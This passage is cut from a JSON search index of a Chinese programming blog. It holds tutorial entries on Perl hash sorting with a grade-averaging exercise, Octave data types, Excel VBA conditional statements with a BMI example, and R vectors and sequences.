class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eBill\u003c/span\u003e    \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e      \u003cspan class=\"mi\"\u003e98\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eJohn\u003c/span\u003e    \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e      \u003cspan class=\"mi\"\u003e67\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003esub\u003c/span\u003e \u003cspan class=\"nf\"\u003eby_grade\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$hash\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$hash\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@name\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereverse\u003c/span\u003e \u003cspan class=\"nb\"\u003esort\u003c/span\u003e \u003cspan class=\"n\"\u003eby_grade\u003c/span\u003e \u003cspan class=\"nb\"\u003ekeys\u003c/span\u003e \u003cspan class=\"nv\"\u003e%hash\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@name\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 練習\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 1. 假設有一成績資料檔案如下\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e=pod\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eJoe 98  87  94  67\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eMary    97  86  97  76\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eJohn    78  67  81  97\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eBill    56  78  67  86\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eSeal    69  79  68  81\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eGod 97  98  98  99\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e=cut\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 總成績計算方式為：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 四次成績中刪去最低分的成績，剩下的三次做平均，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 請寫一個 perl script 來計算，並將輸出成績存入檔案。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 假設成績檔為 score.txt\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eINFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;score.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u0026gt;output.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e\u0026lt;INFILE\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$name\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e@score\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e@score\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereverse\u003c/span\u003e \u003cspan class=\"nb\"\u003esort\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"nv\"\u003e@score\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003epop\u003c/span\u003e \u003cspan class=\"nv\"\u003e@score\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$sum\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@score\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$sum\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$_\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$average\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$sum\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$#score\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$name\\t$average\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eINFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Perl 基本自訂副函式與排序（Sorting）"},{"content":"在 Octave 中有許多種類型（type）的變數，例如實數（real）或複數（complex）的純量（scalars）或矩陣（matrices）、字串（character strings）、資料結構（data structure）以及可以包含各種類型的巢狀陣列（cell arrays）。\nOctave 亦允許使用者透過 C++ 程式語言自行撰寫程式碼定義新的變數類型，新增變數類型並不需要將所有的 Octave 程式碼重新編譯，在某些系統中新的變數類型可以在 Octave 執行時動態載入（可參考動態載入函數、自訂變數類型）。\ntypeinfo (expr) typeifno(expr) 函數會傳回 expr 的變數類型（type），若是沒有指定 expr 參數，則回傳目前所有的支援的變數類型。\n內建的資料類型（Built-in Data Types） Octave 內建的資料類型包含實數（real）與複數（complex）的純量（scalars）與矩陣（matrices）、ranges、字串（character strings）、資料結構（data structure）與巢狀陣列（cell array），在未來 Octave 亦有可能再新增加其他的資料類型。\n變數的資料類型可以透過以下的函數查詢與轉換：\nclass (expr) class (s, id) class (s, id, p, ...) class(expr) 可以查詢 expr 的類別（class），class(s, id) 則是產生新的類別，參數 s 是指定新類別的資料結構（structure），id 是新類別的名稱。其餘的參數是用來指定此類別的父類別。\nisa (x, class) isa(x, class) 函數可以用來測試 x 的類別是否為 class。\ncast (val, type) cast(val, type) 函數可將 val 轉換為 type 類型。\ntypecast (x, type) typecast(x, type) 將 x 轉換為 type 類型，但不變更 x 所儲存的資料。type 參數可以是下列其中之一： \u0026quot;uint8\u0026quot;、 \u0026quot;uint16\u0026quot;、 \u0026quot;uint32\u0026quot;、 \u0026quot;uint64\u0026quot;、 \u0026quot;int8\u0026quot;、 \u0026quot;int16\u0026quot;、 \u0026quot;int32\u0026quot;、 \u0026quot;int64\u0026quot;、 \u0026quot;single\u0026quot; 或 \u0026quot;double\u0026quot;。例如：\nx = uint16 ([1, 65535]); typecast (x, \u0026#34;uint8\u0026#34;) swapbytes (x) swapbytes(x) 函數可將 x 的值在 little endian 與 big endian 之間轉換。例如：\nswapbytes (uint16 (1:4)) 以下介紹 Octave 中內建的資料類型：\n數值（Numeric Objects） Octave 中的數值變數包含實數、複數與整數的純量與矩陣，所有 Octave 內建的浮點數資料都是以雙精度浮點數（double precision numbers）的方式儲存，在使用 IEEE 浮點格式的系統中，可儲存的浮點數範圍大約在 2.2251e-308 到 1.7977e+308 之間，relative precision 大約為 2.2204e-16，精確的數值儲存在 realmin、 realmax 與 eps 變數中。\n在 Octave 中的矩陣可以指定為任何的大小，甚至可以動態改變。Octave 中提供一系列的矩陣操作功能，進一步的說明請參考數值資料。\n缺失資料（Missing Data） 缺失資料在 Octave 可以使用 NA（Not Available）來表示：\nNA NA (n) NA (n, m) NA (n, m, k, ...) NA (..., class) NA 函數可以產生 NA 的純量，NA(n) 是 n 乘 n 的 NA 方陣，NA(n, m) 是 n 乘 m 的 NA 矩陣，NA(n, m, k, ...) 是高維度的 NA 陣列，class 參數是指定傳回值的類型，可指定 \u0026quot;double\u0026quot; 或 \u0026quot;single\u0026quot;，例如指定一個 NA 值：\nna_val = NA 3 乘 3 的 NA 矩陣：\nna_mat = NA(3) isna (x) isna() 函數可以檢查一個值是否為 NA，例如：\nisna ([13, Inf, NA, NaN]) 一個 NA 值不會等於另一個 NA 值（NA != NA），若要檢查一個值是不是 NA 必須使用 isna() 函數。\n字串（String Objects） Octave 的字串是以單引號或雙引號包起來的一串字元，目前來說 Octave 是將字串儲存乘矩陣的形式，因此在矩陣上可以用的索引運算亦可用於字串上，關於字串的說明請參考字串資料。\n資料結構（Data Structure Objects） Octave 的資料結構可以讓使用者將相關但不同類型的資料結合在一起，目前 Octave 是以關聯性陣列的方式實做，而其語法類似於 C 語言的 structures，關於資料結構請參考資料容器。\n巢狀陣列（Cell Array Objects） Octave 的巢狀陣列是一個一般性的陣列，可以存放各種不同的類型的資料，請參考資料容器。\n物件尺寸（Object Sizes） 以下的函數可以用來查詢或設定變數的尺寸，這些函數可以用於任何類型的變數，在無法判別時會傳回 -1，例如資料結構並沒有行數與列數，因此若將資料結構傳入 rows() 或 columns() 會傳回 -1。\nndims (x) ndims() 函數會傳回陣列（array）的維度。trailing singleton dimensions 會被忽略。\n在 Octave 中任何陣列的維度都大於或等於 2（與 Matlab 相同）。\ncolumns (x) columns(x) 函數會傳回 x 的行（column）數。\nrows (x) rows(x) 函數會傳回 x 的列（row）數。\nnumel (x) numel(x) 函數會傳回在 x 中元素（element）的數量。\nlength (x) length(x) 會傳回 x 的長度，一個矩陣的長度定義為行數與列數中較大的那個值（這個奇怪的定義是為了要與 Matlab 相容）。\nsize (x) size (x, n) size(x) 會傳回 x 的列（row）數與行（column）數，當只由一個輸出參數時，會輸出一個列向量，例如：\na = [1, 2; 3, 4; 5, 6] a_size = size(a) 當有多個輸出參數時，第一個是列數，第二個是行數，例如：\n[nr, nc] = size(a) size(x, n) 函數加入第二個參數 n 可以指定要輸出的維度，例如：\nsize(a, 2) 這樣會傳回矩陣 A 的行數。\nisempty (x) isempty(x) 函數用來判斷 x 是否為空矩陣（empty matrix，即行數或列數等於0 的矩陣），若為空矩陣則傳回 1，否則傳回0。\nisnull (x) isnull(x) 函數用來判斷 x 是否為 null 的矩陣、字串、單引號之字串。例如：\nisnull([]) 將陣列的某個元素指定為 null 會將此元素從陣列中移除，例如：\na = [1, 3, 5, 7, 9] a(2) = [] isnull() 函數主要用於自行定義的類別將索引指定（indexed assignment）運算子多載化（overloading）的時候。\nsizeof (x) sizeof(x) 傳回 x 所佔的記憶體大小，單位為 byte。\nsize_equal (a, b, ...) size_equal(x) 函數判斷所有傳入變數的維度是否都相同，若相同則傳回 1，否則傳回0。若只有傳入一個變數，則傳回 1。例如：\na = [1, 2] b = [3, 4] c = 5 size_equal(a, b) size_equal(a, b, c) squeeze (x) squeeze(x) 函數會將 x 的資料保留但去除 singleton dimensions 並傳回結果。例如：\nx = rand(2, 1, 3) squeeze(x) ","permalink":"https://blog.gtwang.org/octave/octave-data-types/","summary":"\u003cp\u003e在 Octave 中有許多種類型（type）的變數，例如實數（real）或複數（complex）的純量（scalars）或矩陣（matrices）、字串（character strings）、資料結構（data structure）以及可以包含各種類型的巢狀陣列（cell arrays）。\u003c/p\u003e","title":"Octave 資料類型"},{"content":"本篇介紹 Excel VBA 中各種條件判斷式的使用方法，包含 If Then、Else 與 Select Case。\n電腦在執行程式時，都是依照順序一行接著一行的執行，如果我們希望程式在執行時，依據不同的條件狀況來做出不一樣的動作，這時候就可以利用條件判斷式來處理。\nIf Then 與 Else 我們來看一個簡單的實例，這是在早上出門前決定要不要帶雨傘出門的一個狀況，如果我們看完天氣預報之後，以降雨機率 60% 作為標準，超過這個值我們就帶傘出門，我們的判斷邏輯就會像這樣：\n如果 降雨機率 \u0026gt; 60% 則：\n帶雨傘出門\n否則：\n不用帶雨傘出門\n這種情境就是一個典型的條件判斷式，在 Excel VBA 中我們可以用 If Then 與 Else 把這個判斷邏輯寫成程式，讓電腦幫我們做判斷：\nDim rainProb As Double rainProb = 0.3 \u0026#39; 降雨機率 If rainProb \u0026gt; 0.6 Then MsgBox \u0026#34;帶雨傘出門\u0026#34; Else MsgBox \u0026#34;不用帶雨傘出門\u0026#34; End If 這樣這段 VBA 程式就會依據 rainProb 的值來決定是否要帶雨傘。\n如果我們的條件判斷邏輯不是二選一的時候，狀況就會稍微複雜一些，例如：\n如果 降雨機率 \u0026gt; 70% 則：\n帶雨傘出門\n如果 30% \u0026lt; 降雨機率 ≤ 70%\n丟銅板決定要不要帶雨傘\n否則：\n不用帶雨傘出門\n這時候我們可以再加入 ElseIf 這個判斷式：\nDim rainProb As Double rainProb = 0.3 \u0026#39; 降雨機率 If rainProb \u0026gt; 0.7 Then MsgBox \u0026#34;帶雨傘出門\u0026#34; ElseIf rainProb \u0026gt; 0.3 Then MsgBox \u0026#34;丟銅板決定要不要帶雨傘\u0026#34; Else MsgBox \u0026#34;不用帶雨傘出門\u0026#34; End If If Then 的條件判斷式在執行時只會選擇第一個符合的條件來執行，而且在判斷條件時是有順序性的，以這個例子來說，首先會判斷第一個 If 條件是否成立，如果成立的話就會執行對應的動作，然後其他的 ElseIf 就不會再繼續判斷或執行了。\n而如果第一個 If 不成立的話，才會繼續判斷 ElseIf 的條件，所以在這裡的 ElseIf 的條件中，雖然我們的判斷邏輯是 30% \u0026lt; 降雨機率 ≤ 70%，不過因為這是在第一個 If 不成立的狀況下才會執行的判斷，所以這時候的 rainProb 一定是會小於或等於 0.7，因此在這裡我們只需要寫另外一邊的判斷條件就夠了。\n我們可以在 If Then 的條件判斷中加入多個 ElseIf，程式在執行時會依照順序一個接著一個檢查每一個條件，找到符合的條件就會執行對應的動作，如果找到最後都沒有任何一個條件符合，就會執行 Else 的對應動作。\n如果在條件不成立的時候，不需要執行任何動作，就可以把 Else 拿掉：\nDim x As Integer x = 8 If x \u0026gt; 5 Then MsgBox \u0026#34;x is greater than 5\u0026#34; End If 我們也可以將多組 If Then 的條件判斷式組合在一起，變成巢狀的判斷結構，處理更複雜的問題。\nDim rainProb As Double, trans As String rainProb = 0.7 \u0026#39; 降雨機率 trans = \u0026#34;騎車\u0026#34; \u0026#39; 交通方式 If rainProb \u0026gt; 0.6 Then If trans = \u0026#34;走路\u0026#34; Then MsgBox \u0026#34;帶雨傘出門\u0026#34; ElseIf trans = \u0026#34;騎車\u0026#34; Then MsgBox \u0026#34;穿雨衣出門\u0026#34; Else MsgBox \u0026#34;開車嗎?\u0026#34; End If Else MsgBox \u0026#34;什麼都不用帶\u0026#34; End If Select Case Select Case 的作用與 If Then 類似，不過它可以在判斷條件很多的時候，讓程式碼更簡潔。\n我們先來看一個 If Then 的例子：\nDim x As Integer x = 7 If x \u0026lt;= 5 Then MsgBox \u0026#34;Case 1\u0026#34; ElseIf x = 6 Or x = 8 Then MsgBox \u0026#34;Case 2\u0026#34; ElseIf x = 7 Or x = 9 Then MsgBox \u0026#34;Case 3\u0026#34; ElseIf x = 10 Then MsgBox \u0026#34;Case 4\u0026#34; Else MsgBox \u0026#34;Case 5\u0026#34; End If 由於這個例子的判斷條件比較繁複，所以使用 If Then 的方式撰寫會有很多的 ElseIf，這種狀況的話就可以用 Select Case 改寫，這樣程式碼可以變簡單一些：\nDim x As Integer x = 7 Select Case x Case Is \u0026lt;= 5 MsgBox \u0026#34;Case 1\u0026#34; Case 6, 8 MsgBox \u0026#34;Case 2\u0026#34; Case 7, 9 MsgBox \u0026#34;Case 3\u0026#34; Case 10 MsgBox \u0026#34;Case 4\u0026#34; Case Else MsgBox \u0026#34;Case 5\u0026#34; End Select 這段 Select Case 版本的程式碼與上面 If Then 版本的程式碼兩者寫法不同，但是作用卻是完全一樣的，所以程式設計者可以依照自己的喜好與需求來選擇使用哪一種寫法。\n應用實例 以下是在 Excel 中使用 VBA 條件判斷式的一些實際的範例程式。\nDim weight, height, bmi As Double height = Range(\u0026#34;A2\u0026#34;).Value / 100 weight = Range(\u0026#34;B2\u0026#34;).Value bmi = weight / height ^ 2 Select Case bmi Case Is \u0026lt; 18.5 MsgBox \u0026#34;BMI = \u0026#34; \u0026amp; bmi \u0026amp; \u0026#34;(體重過輕)\u0026#34; Case Is \u0026lt; 24 MsgBox \u0026#34;BMI = \u0026#34; \u0026amp; bmi \u0026amp; \u0026#34;(體重正常)\u0026#34; Case Is \u0026lt; 27 MsgBox \u0026#34;BMI = \u0026#34; \u0026amp; bmi \u0026amp; \u0026#34;(體重過重)\u0026#34; Case Is \u0026lt; 30 MsgBox \u0026#34;BMI = \u0026#34; \u0026amp; bmi \u0026amp; \u0026#34;(輕度肥胖)\u0026#34; Case Is \u0026lt; 35 MsgBox \u0026#34;BMI = \u0026#34; \u0026amp; bmi \u0026amp; \u0026#34;(中度肥胖)\u0026#34; Case Else MsgBox \u0026#34;BMI = \u0026#34; \u0026amp; bmi \u0026amp; \u0026#34;(重度肥胖)\u0026#34; End Select 按照建立按鈕與巨集程式的方式，在 Excel 表格中建立一個按鈕，並且建立一個巨集函數，將上面的程式碼貼上去之後，就完成了一個 BMI 的計算工具了，只要輸入身高與體重之後，按下按鈕即可計算 BMI 值。\n這個使用 VBA 計算 BMI 的範例 Excel 檔案可以從這裡下載：excel_vba_bmi_example.xlsm。\n參考資料 ExcelFunctions.net Excel Easy ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-programming-if-then-else-condition/","summary":"\u003cp\u003e本篇介紹 Excel VBA 中各種條件判斷式的使用方法，包含 \u003ccode\u003eIf Then\u003c/code\u003e、\u003ccode\u003eElse\u003c/code\u003e 與 \u003ccode\u003eSelect Case\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e電腦在執行程式時，都是依照順序一行接著一行的執行，如果我們希望程式在執行時，依據不同的條件狀況來做出不一樣的動作，這時候就可以利用條件判斷式來處理。\u003c/p\u003e","title":"Excel VBA：條件判斷式，If Then、Else 與 Select Case"},{"content":"這裡介紹 R 向量的詳細使用方式，以及如何運用矩陣與陣列處理高維度的資料。\n向量（Vectors） 在 R 中要建立向量最常使用的方式就是使用 c 函數，例如：\nc(1, 3, 5) [1] 1 3 5 另外使用冒號運算子（:）也是很常用的向量建立方式：\n1:5 [1] 1 2 3 4 5 除了整數向量之外，它也可以產生浮點數的向量：\n4.3:8.3 [1] 4.3 5.3 6.3 7.3 8.3 合併各種向量，產生更長的新向量：\nc(1:4, 8, 9, c(12, 23)) [1] 1 2 3 4 8 9 12 23 vector 函數可以用來建立特定類型與長度的向量，例如：\nvector(\u0026#34;numeric\u0026#34;, 3) [1] 0 0 0 vector(\u0026#34;logical\u0026#34;, 3) [1] FALSE FALSE FALSE vector(\u0026#34;character\u0026#34;, 3) [1] \"\" \"\" \"\" vector(\u0026#34;list\u0026#34;, 3) [[1]] NULL [[2]] NULL [[3]] NULL 使用 vector 所建立的向量，其內部的值都是 0、FALSE 或 NULL 這類的空值。對於一些常用的變數類型，R 提供了比較簡潔的函數方便使用者呼叫：\nnumeric(3) [1] 0 0 0 logical(3) [1] FALSE FALSE FALSE character(3) [1] \"\" \"\" \"\" list 並沒有提供類似的簡潔函數，執行 list(3) 所得到的結果跟這裡所預期的不同。\n序列（Sequences） 冒號運算子可以讓我們快速建立簡單的向量，如果需要產生較複雜的向量，在 R 中有一系列的相關函數可以使用。\nseq 是一個可產生各種序列的函數，例如：\nseq(2, 5) # 等同於 2:5 [1] 2 3 4 5 seq 的步長可以使用 by 參數指定：\nseq(2, 5, by = 0.5) [1] 2.0 2.5 3.0 3.5 4.0 4.5 5.0 也可以使用 length 指定序列的長度，讓 seq 自動計算步長：\nseq(2, 5, length = 5) [1] 2.00 2.75 3.50 4.25 5.00 以下是一些 seq 的使用範例：\nseq(10) # 等同於 1:10 seq(from = -5, to = 5, by = 0.2) seq(length = 51, from = -5, by = 0.2) seq(1, 9, by = pi) seq 函數是最一般性的序列產生函數，而 R 中還有幾個跟 seq 相關的函數，專門用於產生特定類型的序列。\nseq.int 跟 seq 類似，可以產生一般的數值序列，但其執行效率較高。\nseq.int(2, 5) seq.int(2, 5, by = 0.5) seq.int(2, 5, length = 5) seq_len 可產生特定長度之序列，比較特別的地方是它可以處理長度為零的序列：\nn \u0026lt;- 0 1:n [1] 1 0 seq_len(n) integer(0) seq_along 可以產生一個跟輸入向量相同長度的序列，而序列的內容就是從 1 到輸入向量的長度值，例如：\ninput \u0026lt;- c(\u0026#34;hello\u0026#34;, \u0026#34;foo\u0026#34;, \u0026#34;bar\u0026#34;) seq_along(input) [1] 1 